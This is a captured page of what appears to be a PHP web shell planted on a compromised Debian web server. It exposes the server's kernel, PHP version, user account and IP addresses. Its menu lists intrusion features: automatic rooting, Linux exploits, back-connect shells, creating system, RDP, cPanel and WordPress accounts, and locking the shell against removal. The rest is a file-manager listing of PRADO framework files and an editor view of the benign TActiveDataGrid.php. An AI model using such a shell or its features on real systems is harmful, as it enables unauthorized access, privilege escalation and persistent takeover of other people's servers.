Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.135.249.76
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
ActiveControls /
[ HOME SHELL ]
Name
Size
Permission
Action
IActiveControl.php
571
B
-rw-r--r--
ICallbackEventHandler.php
881
B
-rw-r--r--
TActiveBoundColumn.php
2.53
KB
-rw-r--r--
TActiveButton.php
4.19
KB
-rw-r--r--
TActiveButtonColumn.php
2.17
KB
-rw-r--r--
TActiveCheckBox.php
5.5
KB
-rw-r--r--
TActiveCheckBoxColumn.php
3.59
KB
-rw-r--r--
TActiveCheckBoxList.php
4.15
KB
-rw-r--r--
TActiveCheckBoxListItem.php
814
B
-rw-r--r--
TActiveClientScript.php
2.51
KB
-rw-r--r--
TActiveControlAdapter.php
4.76
KB
-rw-r--r--
TActiveCustomValidator.php
5.52
KB
-rw-r--r--
TActiveCustomValidatorClientSi...
2.33
KB
-rw-r--r--
TActiveDataGrid.php
7.38
KB
-rw-r--r--
TActiveDataGridPager.php
842
B
-rw-r--r--
TActiveDataGridPagerEventParam...
1.02
KB
-rw-r--r--
TActiveDataList.php
3.75
KB
-rw-r--r--
TActiveDatePicker.php
5.28
KB
-rw-r--r--
TActiveDatePickerClientScript....
1.28
KB
-rw-r--r--
TActiveDropDownList.php
4.26
KB
-rw-r--r--
TActiveDropDownListColumn.php
2.33
KB
-rw-r--r--
TActiveEditCommandColumn.php
2.08
KB
-rw-r--r--
TActiveFileUpload.php
16.59
KB
-rw-r--r--
TActiveFileUploadCallbackParam...
737
B
-rw-r--r--
TActiveFileUploadItem.php
1.36
KB
-rw-r--r--
TActiveHiddenField.php
1.76
KB
-rw-r--r--
TActiveHtmlArea.php
3.18
KB
-rw-r--r--
TActiveHtmlArea5.php
3.15
KB
-rw-r--r--
TActiveHyperLink.php
3.45
KB
-rw-r--r--
TActiveHyperLinkColumn.php
2.29
KB
-rw-r--r--
TActiveImage.php
3.06
KB
-rw-r--r--
TActiveImageButton.php
5.33
KB
-rw-r--r--
TActiveLabel.php
2.67
KB
-rw-r--r--
TActiveLinkButton.php
4.86
KB
-rw-r--r--
TActiveListBox.php
4.43
KB
-rw-r--r--
TActiveListControlAdapter.php
4.18
KB
-rw-r--r--
TActiveListItemCollection.php
2.88
KB
-rw-r--r--
TActiveLiteralColumn.php
2.73
KB
-rw-r--r--
TActiveMultiView.php
3.54
KB
-rw-r--r--
TActivePageAdapter.php
9.87
KB
-rw-r--r--
TActivePager.php
6.39
KB
-rw-r--r--
TActivePanel.php
2.77
KB
-rw-r--r--
TActiveRadioButton.php
5.56
KB
-rw-r--r--
TActiveRadioButtonItem.php
824
B
-rw-r--r--
TActiveRadioButtonList.php
3.84
KB
-rw-r--r--
TActiveRatingList.php
4.12
KB
-rw-r--r--
TActiveRepeater.php
4.45
KB
-rw-r--r--
TActiveTableCell.php
7.01
KB
-rw-r--r--
TActiveTableCellEventParameter...
1.77
KB
-rw-r--r--
TActiveTableRow.php
7.6
KB
-rw-r--r--
TActiveTableRowEventParameter....
1.78
KB
-rw-r--r--
TActiveTemplateColumn.php
2.56
KB
-rw-r--r--
TActiveTextBox.php
3.7
KB
-rw-r--r--
TBaseActiveCallbackControl.php
8.29
KB
-rw-r--r--
TBaseActiveControl.php
3.65
KB
-rw-r--r--
TCallback.php
2.95
KB
-rw-r--r--
TCallbackClientScript.php
24.66
KB
-rw-r--r--
TCallbackClientSide.php
8.14
KB
-rw-r--r--
TCallbackErrorHandler.php
3.53
KB
-rw-r--r--
TCallbackEventParameter.php
2.27
KB
-rw-r--r--
TCallbackOptions.php
1.26
KB
-rw-r--r--
TCallbackPageStateTracker.php
5.39
KB
-rw-r--r--
TCallbackResponseAdapter.php
2.38
KB
-rw-r--r--
TCallbackResponseWriter.php
1.67
KB
-rw-r--r--
TEventTriggeredCallback.php
2.38
KB
-rw-r--r--
TInPlaceTextBox.php
8.29
KB
-rw-r--r--
TInvalidCallbackException.php
595
B
-rw-r--r--
TMapCollectionDiff.php
874
B
-rw-r--r--
TScalarDiff.php
711
B
-rw-r--r--
TStyleDiff.php
2.35
KB
-rw-r--r--
TTimeTriggeredCallback.php
3.54
KB
-rw-r--r--
TTriggeredCallback.php
1.65
KB
-rw-r--r--
TValueTriggeredCallback.php
3.21
KB
-rw-r--r--
TViewStateDiff.php
1.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TActiveDataGrid.php
<?php /** * TActiveDataGrid class file * * @author LANDWEHR Computer und Software GmbH <programmierung@landwehr-software.de> * @link http://www.landwehr-software.de/ * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\ActiveControls; /** * Includes the following used classes */ use Prado\Prado; use Prado\TPropertyValue; use Prado\Web\UI\ISurroundable; use Prado\Web\UI\WebControls\TDataGrid; use Prado\Web\UI\WebControls\TDataGridPagerButtonType; use Prado\Web\UI\WebControls\TLabel; /** * TActiveDataGrid class * * TActiveDataGrid represents a data bound and updatable grid control which is the * active counterpart to the original {@link TDataGrid} control. * * This component can be used in the same way as the regular datagrid, the only * difference is that the active datagrid uses callbacks instead of postbacks * for interaction. * * There are also active datagrid columns to work with the TActiveDataGrid, which are * - {@link TActiveBoundColumn}, the active counterpart to {@link TBoundColumn}. * - {@link TActiveLiteralColumn}, the active counterpart to {@link TLiteralColumn}. * - {@link TActiveCheckBoxColumn}, the active counterpart to {@link TCheckBoxColumn}. * - {@link TActiveDropDownListColumn}, the active counterpart to {@link TDropDownListColumn}. * - {@link TActiveHyperLinkColumn}, the active counterpart to {@link THyperLinkColumn}. * - {@link TActiveEditCommandColumn}, the active counterpart to {@link TEditCommandColumn}. * - {@link TActiveButtonColumn}, the active counterpart to {@link TButtonColumn}. * - {@link TActiveTemplateColumn}, the active counterpart to {@link TTemplateColumn}. * * Please refer to the original documentation of the regular counterparts for usage. * * @author LANDWEHR Computer und Software GmbH <programmierung@landwehr-software.de> * @since 3.1.9 * @method TActiveControlAdapter getAdapter() */ class TActiveDataGrid extends TDataGrid implements IActiveControl, ISurroundable { /** * @var string the tag used to render the surrounding container */ protected $_surroundingTag = 'div'; /** * @return string Name of the class used in AutoGenerateColumns mode */ protected function getAutoGenerateColumnName() { return 'TActiveBoundColumn'; } /** * Creates a new callback control, sets the adapter to * TActiveControlAdapter. */ public function __construct() { parent::__construct(); $this->setAdapter(new TActiveControlAdapter($this)); } /** * @return TBaseActiveCallbackControl standard active control options. */ public function getActiveControl() { return $this->getAdapter()->getBaseActiveControl(); } /** * Sets the data source object associated with the datagrid control. * In addition, the render method of all connected pagers is called so they * get updated when the data source is changed. Also the datagrid registers * itself for rendering in order to get it's content replaced on client side. * @param array|string|\Traversable $value data source object */ public function setDataSource($value) { parent::setDataSource($value); if ($this->getActiveControl()->canUpdateClientSide()) { $this->renderPager(); $this->getPage()->getAdapter()->registerControlToRender($this, $this->getResponse()->createHtmlWriter()); } } /** * Gets the tag used to render the surrounding container. Defaults to 'div'. * @return string container tag */ public function getSurroundingTag() { return $this->_surroundingTag; } /** * Sets the tag used to render the surrounding container. * @param string $value container tag */ public function setSurroundingTag($value) { $this->_surroundingTag = TPropertyValue::ensureString($value); } /** * Returns the id of the surrounding container. * @return string container id */ public function getSurroundingTagID() { return $this->getClientID() . '_Container'; } /** * Creates a pager button. * Depending on the button type, a TActiveLinkButton or a TActiveButton may be created. * If it is enabled (clickable), its command name and parameter will also be set. * It overrides the datagrid's original method to create active controls instead, thus * the pager will do callbacks instead of the regular postbacks. * @param mixed $pager the container pager instance of TActiveDatagridPager * @param string $buttonType button type, either LinkButton or PushButton * @param bool $enabled whether the button should be enabled * @param string $text caption of the button * @param string $commandName CommandName corresponding to the OnCommand event of the button * @param string $commandParameter CommandParameter corresponding to the OnCommand event of the button * @return mixed the button instance */ protected function createPagerButton($pager, $buttonType, $enabled, $text, $commandName, $commandParameter) { if ($buttonType === TDataGridPagerButtonType::LinkButton) { if ($enabled) { $button = new TActiveLinkButton(); } else { $button = new TLabel(); $button->setText($text); return $button; } } else { $button = new TActiveButton(); if (!$enabled) { $button->setEnabled(false); } } $button->setText($text); $button->setCommandName($commandName); $button->setCommandParameter($commandParameter); $button->setCausesValidation(false); $button->getActiveControl()->setClientSide( $pager->getClientSide() ); return $button; } protected function createPager() { $pager = new TActiveDataGridPager($this); $this->buildPager($pager); $this->onPagerCreated(new TActiveDataGridPagerEventParameter($pager)); $this->getControls()->add($pager); return $pager; } /** * Renders the datagrid. * If the datagrid did not pass the prerender phase yet, it will register itself for rendering later. * Else it will call the {@link renderDataGrid()} method which will do the rendering of the datagrid. * @param \Prado\Web\UI\THtmlWriter $writer writer for the rendering purpose */ public function render($writer) { if ($this->getHasPreRendered()) { $this->renderDataGrid($writer); if ($this->getActiveControl()->canUpdateClientSide()) { $this->getPage()->getCallbackClient()->replaceContent($this->getSurroundingTagId(), $writer); } } else { $this->getPage()->getAdapter()->registerControlToRender($this, $writer); } } /** * Loops through all {@link TActivePager} on the page and registers the ones which are set to paginate * the datagrid for rendering. This is to ensure that the connected pagers are also rendered if the * data source changed. */ private function renderPager() { $pager = $this->getPage()->findControlsByType('Prado\Web\UI\ActiveControls\TActivePager', false); foreach ($pager as $item) { if ($item->ControlToPaginate == $this->getID()) { $writer = $this->getResponse()->createHtmlWriter(); $this->getPage()->getAdapter()->registerControlToRender($item, $writer); } } } /** * Renders the datagrid by writing a {@link getSurroundingTag()} with the container id obtained * from {@link getSurroundingTagId()} which will be called by the replacement method of the client * script to update it's content. * @param \Prado\Web\UI\THtmlWriter $writer writer for the rendering purpose */ private function renderDataGrid($writer) { $writer->addAttribute('id', $this->getSurroundingTagID()); $writer->renderBeginTag($this->getSurroundingTag()); parent::render($writer); $writer->renderEndTag(); } }
Close